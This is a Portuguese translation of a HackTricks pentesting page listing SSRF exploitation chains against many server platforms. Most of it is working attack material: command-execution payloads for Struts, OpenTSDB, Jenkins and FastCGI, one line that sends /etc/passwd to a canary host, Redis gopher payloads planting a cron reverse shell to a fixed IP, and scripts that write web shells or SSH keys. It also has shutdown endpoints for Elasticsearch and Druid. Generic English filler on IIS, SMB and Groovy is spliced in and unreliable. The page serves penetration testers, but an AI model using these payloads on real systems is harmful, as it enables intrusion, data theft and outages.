coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
747a198afb
hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

32 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta seção foi copiada de https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Elasticsearch

Porta comummente vinculada: 9200

Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação.

Se você tiver um SSRF parcialmente cego em que possa determinar o código de status, verifique se os seguintes endpoints retornam um 200:

/_cluster/health
/_cat/indices
/_cat/health

Se você tiver um SSRF cego onde você pode enviar solicitações POST, você pode desligar a instância do Elasticsearch enviando uma solicitação POST para o seguinte caminho:

Nota: a API _shutdown foi removida da versão 2.x e superior do Elasticsearch. Isso só funciona no Elasticsearch 1.6 e abaixo:

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Portas comuns vinculadas: 80, 443 (SSL), 7001, 8888

Canário SSRF: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Isso também funciona via GET:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Este endpoint também é vulnerável à injeção de CRLF:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Resultará na seguinte requisição:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Retirado daqui.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:

IIS

SSRF

Description

The IIS server can be vulnerable to SSRF attacks if it is configured to use a proxy server to access external resources. This can be exploited by sending a specially crafted request to the server that includes a URL to an external resource. If the server is configured to use a proxy server, it will forward the request to the proxy server, which will then make the request to the external resource on behalf of the server. This can be used to bypass network restrictions and access resources that are not normally accessible from the server.

Exploitation

To exploit this vulnerability, an attacker can send a specially crafted request to the server that includes a URL to an external resource. The request should be designed to trigger the server to make a request to the external resource through the proxy server. If successful, the attacker can then access the resource through the server.

Mitigation

To mitigate this vulnerability, the server should be configured to not use a proxy server to access external resources. If a proxy server is required, it should be configured to only allow requests to trusted resources.

RCE

Description

The IIS server can be vulnerable to remote code execution (RCE) attacks if it is running a vulnerable version of the ASP.NET framework. This can be exploited by sending a specially crafted request to the server that includes a malicious payload. If successful, the payload will be executed on the server, allowing the attacker to execute arbitrary code.

Exploitation

To exploit this vulnerability, an attacker can send a specially crafted request to the server that includes a malicious payload. The payload should be designed to exploit the vulnerability in the ASP.NET framework and execute arbitrary code on the server.

Mitigation

To mitigate this vulnerability, the server should be updated to a non-vulnerable version of the ASP.NET framework. Additionally, the server should be configured to only allow requests from trusted sources.

SMB

Description

The Server Message Block (SMB) protocol is used by Windows to share files, printers, and other resources between computers on a network. The SMB protocol can be vulnerable to a number of attacks, including denial of service (DoS) attacks, man-in-the-middle (MitM) attacks, and information disclosure attacks.

Exploitation

To exploit vulnerabilities in the SMB protocol, an attacker can use a number of tools and techniques, including:

  • SMBRelay: This technique involves intercepting SMB traffic between two computers and relaying it to a third computer. This can be used to execute arbitrary code on the target computer or to steal credentials.
  • SMBSigning: This technique involves disabling SMB signing, which can allow an attacker to modify SMB traffic between two computers without detection.
  • SMBLoris: This technique involves sending a large number of incomplete SMB requests to a target computer, which can cause it to crash or become unresponsive.

Mitigation

To mitigate vulnerabilities in the SMB protocol, Windows servers should be updated to the latest version of the operating system and all security patches should be applied. Additionally, SMB signing should be enabled to prevent modification of SMB traffic.

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Portas comuns vinculadas: 8500, 8501 (SSL)

O relatório pode ser encontrado aqui.

Shellshock

Portas comuns vinculadas: 80, 443 (SSL), 8080

Para testar efetivamente o Shellshock, pode ser necessário adicionar um cabeçalho contendo a carga útil. Os seguintes caminhos CGI valem a pena tentar:

Pequena lista de caminhos CGI para testar:

Gist contendo caminhos.

Canário SSRF: Shellshock via User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Portas comuns: 80, 8080, 8888, 8082

Veja a referência da API do Apache Druid aqui.

Se você pode visualizar o código de status, verifique os seguintes caminhos para ver se eles retornam um código de status 200:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Desligar tarefas, requer que você adivinhe os IDs das tarefas ou o nome da fonte de dados:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Desligando supervisores nos Apache Druid Overlords:

Para desligar um supervisor em um Apache Druid Overlord, você pode enviar uma solicitação POST para o endpoint /druid/indexer/v1/supervisor/{supervisorId}/shutdown. O {supervisorId} deve ser substituído pelo ID do supervisor que você deseja desligar. Isso fará com que o supervisor pare de processar novas tarefas, mas ainda concluirá as tarefas em andamento antes de desligar completamente.

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Porta comummente utilizada: 8983

SSRF Canary: Parâmetro Shards

Para acrescentar ao que o shubham está a dizer - a procura por solr é relativamente fácil. Existe um parâmetro shards= que permite saltar de SSRF para SSRF para verificar se está a aceder cegamente a uma instância solr.

— Хавиж Наффи 🥕 (@nnwakelam) 13 de janeiro de 2021

Retirado daqui.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

O Apache Solr 7.0.1 é vulnerável a ataques de injeção XXE, permitindo a um invasor ler arquivos do sistema de arquivos do servidor e executar código arbitrário. Essa vulnerabilidade pode ser explorada através de uma solicitação HTTP maliciosa que contém uma entidade XML malformada com uma referência externa.

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE via dataImportHandler

Pesquisa sobre RCE via dataImportHandler

PeopleSoft

Portas comuns: 80,443 (SSL)

Retirado desta pesquisa aqui.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2

Este é outro exemplo de como um atacante pode usar uma vulnerabilidade de XXE para detectar SSRF em um servidor. O atacante pode enviar uma solicitação XML maliciosa que inclui uma referência a um URL externo. Se o servidor estiver vulnerável a SSRF, ele tentará acessar o URL externo e o atacante poderá ver a solicitação sendo feita para o URL em seus logs. Se o servidor não estiver vulnerável a SSRF, a solicitação falhará e o atacante não verá nada em seus logs.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

Retirado daqui.

SSRF Canary: Struts2-016:

Adicione isso ao final de cada endpoint/URL interno que você conhece:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Portas comuns vinculadas: 80, 443 (SSL), 8080, 8443 (SSL)

Retirado daqui.

Canário SSRF: Implante WAR a partir de URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: Sharelinks (versões do Confluence lançadas a partir de novembro de 2016 e anteriores)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Ticket de Segurança Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Portas comuns vinculadas: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Ticket de segurança Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Ticket de segurança da Atlassian JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

Outros Produtos Atlassian

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Ticket de Segurança da Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Porta comummente utilizada: 4242

Execução Remota de Código no OpenTSDB

Canário SSRF: curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

Execução Remota de Código no OpenTSDB 2.4.0

Canário SSRF: curl via RCE - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Portas comuns vinculadas: 80,443 (SSL),8080,8888

Ótimo artigo aqui.

Canário SSRF: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Siga as instruções aqui para obter RCE via GET: Hacking Jenkins Parte 2 - Abusando da Meta Programação para RCE não autenticado!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE via Groovy

Description: Some cloud platforms allow the execution of Groovy scripts. If the input is not properly sanitized, it is possible to execute arbitrary code.

Impact: Remote code execution.

Exploitation:

  1. Create a Groovy script with the following content:

    def command = "id"
def proc = command.execute()
proc.waitFor()
println "Output: ${proc.in.text}"

  2. Send the script as a POST request to the vulnerable endpoint.

    POST /api/groovy HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
Content-Length: 68

{"script": "def command = \"id\"; def proc = command.execute(); proc.waitFor(); println \"Output: ${proc.in.text}\";"}

  3. The response should contain the output of the id command.

    HTTP/1.1 200 OK
Content-Type: application/json

{"output": "uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)"}

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Painel Hystrix

Portas comuns vinculadas: 80,443 (SSL),8080

Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6.

Canário SSRF: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Portas comuns: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

Canário SSRF: CVE-2019-6715

Isso precisa ser uma solicitação PUT:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

O aviso para essa vulnerabilidade foi lançado aqui: Vulnerabilidade SSRF do W3 Total Cache

Este código PHP irá gerar um payload para o seu host de canário SSRF (substitua url pelo seu host de canário):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Portas comuns vinculadas: 2375, 2376 (SSL)

Se você tiver um SSRF parcialmente cego, poderá usar os seguintes caminhos para verificar a presença da API do Docker:

/containers/json
/secrets
/services

RCE através da execução de uma imagem docker arbitrária

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Substitua alpine por uma imagem arbitrária que você gostaria que o contêiner Docker executasse.

Gitlab Prometheus Redis Exporter

Portas comuns vinculadas: 9121

Essa vulnerabilidade afeta instâncias do Gitlab anteriores à versão 13.1.1. De acordo com a documentação do Gitlab Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.

Esses exportadores fornecem um excelente método para um invasor se mover lateralmente e atacar outros serviços usando o CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.

O seguinte endpoint permitirá que um invasor despeje todas as chaves no servidor Redis fornecido por meio do parâmetro de destino:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Possível via Gopher

Redis

Porta comummente utilizada: 6379

Leitura recomendada:

RCE via Cron - Superfícies de Ataque Gopher

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

Gopher é um protocolo de rede que foi popular na internet no início dos anos 90. Ele foi projetado para distribuir, pesquisar e recuperar documentos em um sistema de informação baseado em menus. O protocolo Gopher é baseado em solicitações e respostas, onde o cliente envia uma solicitação e o servidor responde com o conteúdo solicitado. O Gopher usa a porta 70 por padrão e as solicitações são feitas em texto simples. O protocolo Gopher é vulnerável a ataques SSRF, pois permite que o cliente faça solicitações a outros servidores.

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE via Upload de Shell (PHP) - Resumo do Getshell do Redis

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE via authorized_keys - Resumo do Getshell do Redis

Este método de exploração é baseado em uma vulnerabilidade no Redis que permite a um invasor adicionar uma chave SSH pública ao arquivo authorized_keys do usuário Redis. Isso pode ser feito usando o comando CONFIG SET do Redis para definir a configuração dir como o diretório ~/.ssh do usuário Redis e, em seguida, usando o comando MODULE LOAD para carregar um módulo malicioso que adiciona a chave SSH pública do invasor ao arquivo authorized_keys. Depois que a chave é adicionada, o invasor pode fazer login no servidor Redis como o usuário Redis e executar comandos arbitrários.

Para explorar essa vulnerabilidade, o invasor precisa ter acesso ao servidor Redis e ser capaz de executar comandos no servidor. Além disso, o Redis precisa estar configurado para permitir a execução de módulos. Se essas condições forem atendidas, o invasor pode usar essa técnica para obter acesso remoto ao servidor Redis e executar comandos arbitrários.

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE no GitLab via protocolo Git

Ótimo artigo do Liveoverflow aqui.

Embora isso exija acesso autenticado ao GitLab para ser explorado, estou incluindo o payload aqui, pois o protocolo git pode funcionar no alvo que você está hackeando. Este payload é apenas para referência.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Porta comummente utilizada: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)

Efetivo apenas contra Tomcat 6:

gopher-tomcat-deployer

CTF writeup usando essa técnica:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

Portas comuns: 80, 443 (SSL)

Isso foi retirado daqui.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Portas comuns vinculadas: 1090,1098,1099,1199,4443-4446,8999-9010,9999

Vulnerabilidades SSRF cegas que permitem bytes arbitrários (baseados em gopher) podem ser usadas para realizar ataques de desserialização ou de base de código nos componentes padrão do Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Uma descrição detalhada pode ser encontrada aqui. A listagem a seguir mostra um exemplo de geração de payload:

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥